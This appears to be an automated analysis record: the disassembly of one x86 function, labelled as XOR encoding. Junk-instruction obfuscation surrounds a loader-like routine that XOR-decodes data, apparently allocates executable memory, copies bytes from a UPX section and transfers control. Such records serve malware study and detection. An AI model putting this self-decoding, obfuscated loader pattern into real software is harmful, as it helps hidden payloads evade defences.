Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x2bc62392
add edi, 0xc0a6fa5
add ebx, ebx
popal
mov edi, 0x97f459ea
add edi, 0x92e09431
add edi, 0xa76434b6
mov eax, 0
mov esi, edi
inc ebx
or ebx, edx
mov ecx, esi
mov edx, ebx
sub ebx, 0xa39977c2
mov edi, ecx
and ebx, ebx
add edx, ebx
inc eax
add edx, 0xd8d8b222
mov edx, 0x2d940acf
cmp eax, 0x1005bcb
jne 0xa789d1
add ebx, 0x8fc7b65e
sub edx, 0x83c4b54c
add edi, ebx
dec ebx
mov ebx, 0x8e7ffb49
mov eax, 0xa78796
sub edx, esi
and edi, edx
and edx, esi
mov ecx, 0xa7898a
or esi, edi
or edx, esi
dec edi
mov ebx, dword [eax]
mov esi, 0x13a0b387
or esi, edi
sub edi, 0x44a00c99
and ebx, 0xff
mov edx, edi
not edx
dec esi
xor dword [ecx], ebx
inc edi
sub esi, 0xf3fd05fd
sub edx, 0x26d124d1
inc ecx
sub esi, 0x8a90dd2b
sub edx, esi
add eax, 1
mov esi, 0xade4c092
mov edi, 0x36e29a94
sub edx, esi
cmp ecx, entry0
jl 0xa78a27
and esi, edi
sub edx, esi
sub edi, 0xc9d8d17c
sub edi, esi
and edx, esi
or edx, esi
add edx, 0x536deac9
add esi, ebx
or ebx, edi
mov ecx, 0xa7898e
mov edx, 0x940bba69
mov edi, 0xe49772dc
mov ecx, dword [ecx]
or esi, ebx
or edx, edi
inc ebx
mov ecx, dword [ecx]
add edi, 0x96575251
mov edx, 0xf330ddee
add ebx, esi
push ecx
add edi, 0xc5dc1868
mov ebx, 0x6878c6e3
mov ecx, 0xa7898a
and esi, edi
not ebx
mov ecx, dword [ecx]
sub edx, 1
sub edx, 0x563afe00
mov ecx, dword [ecx]
not ebx
mov esi, ebx
and edx, edi
push 0xa78992
sub edi, 0x2eb869a7
not ebx
call ecx
dec edx
add esi, 0xd8c5c6d8
pop ecx
dec ebx
sub edi, ebx
sub edi, 0xbce6e2be
sub esp, 4
mov dword [esp], 0xa7899f
mov ebx, esi
add edx, 0xeca0b5b9
sub esp, 4
mov dword [esp], eax
sub esi, edx
add edx, 0xfb78eb49
call ecx
mov edx, 0xeeab2e99
mov edi, 0xed4f4169
push 0x40
add edi, 1
and ebx, edi
sub edi, ebx
push 0x3000
dec ebx
mov edi, edx
and edx, edi
push 0x20000baa
not ebx
mov edi, edx
mov ebx, edx
push 0
add edx, 0x287464e2
add esi, 0x515f4fe5
add ebx, 0x9e9aba25
call eax
sub ebx, edx
sub ebx, esi
add eax, 0x20000b14
add ebx, ebx
mov edi, 0xd28e444b
and esi, edi
mov ecx, 0x536c58a0
add edi, 0x7defed6a
mov ebx, 0xad00342a
mov dword [eax], ecx
add edx, 0xb5cba5bf
inc edx
mov esi, edi
mov ecx, dword [eax]
inc edx
and ebx, edi
and edx, edx
cmp ecx, 0x536c58a0
je 0xa78bae
mov edx, 0
mov ecx, dword [edx]
or esi, edx
not edx
add esi, esi
dec esi
inc edi
add esi, 1
sub edi, ebx
or ebx, edi
not edi
mov edx, section.UPX1
add edi, edi
mov edi, ebx
sub ebx, edi
mov ecx, 0xa78795
mov edi, ebx
or ebx, ebx
sub edi, 0xecedba84
mov esi, 0
mov edi, ebx
mov ebx, edi
mov eax, 0xa78796
and edi, ebx
sub edi, ebx
sub edi, ebx
lea eax, [esi + eax]
mov edi, ebx
mov ebx, 0x3da8b25a
not ebx
mov eax, dword [eax]
or edi, ebx
not ebx
and eax, 0xff
add ebx, ebx
not ebx
inc esi
and ebx, edi
add edi, 0x7977ee66
mov ebx, 0xc9d94bc0
cmp esi, 0x1f4
jne 0xa78c27
mov esi, 0
dec edi
dec edi
and edi, edi
add edi, edi
mov ebx, 0x1984a36d
xor dword [edx], eax
add edi, 0x7140bdd
sub ebx, 0x2ebaa1bf
add edx, 2
sub edi, 0x66ec86bd
add ebx, 0xc20938c7
or ebx, ebx
cmp edx, ecx
jl 0xa78be5
and edi, edi
sub edi, 1
and ebx, edi
mov edi, ebx
mov edi, 0x1af02de0
mov esi, section.UPX1
sub edx, 0xedd8ebff
sub edx, eax
mov ebx, section.UPX1
add edx, 0x9fe07851
mov eax, 0x6d208bcf
and edx, eax
mov edi, 0xa78795
add eax, 1
add eax, 0x809824e7
add eax, 0x5e8c2d04
mov ecx, 0
sub eax, 1
and eax, eax
mov cl, byte [ebx]
inc edx
sub edx, 0xb1b76b43
add edx, 0x4fc1078
mov byte [esi], cl
inc eax
and edx, eax
sub eax, 0xe6a6f18e
inc esi
sub edx, 0xb324a005
or edx, eax
dec eax
add ebx, 2
not edx
or edx, eax
cmp ebx, edi
jle 0xa78cb0
and eax, edx
not edx
not edi
add ebx, ebx
push 0x8dc6a0
not ebx
sub edi, ebx
and ebx, edi
ret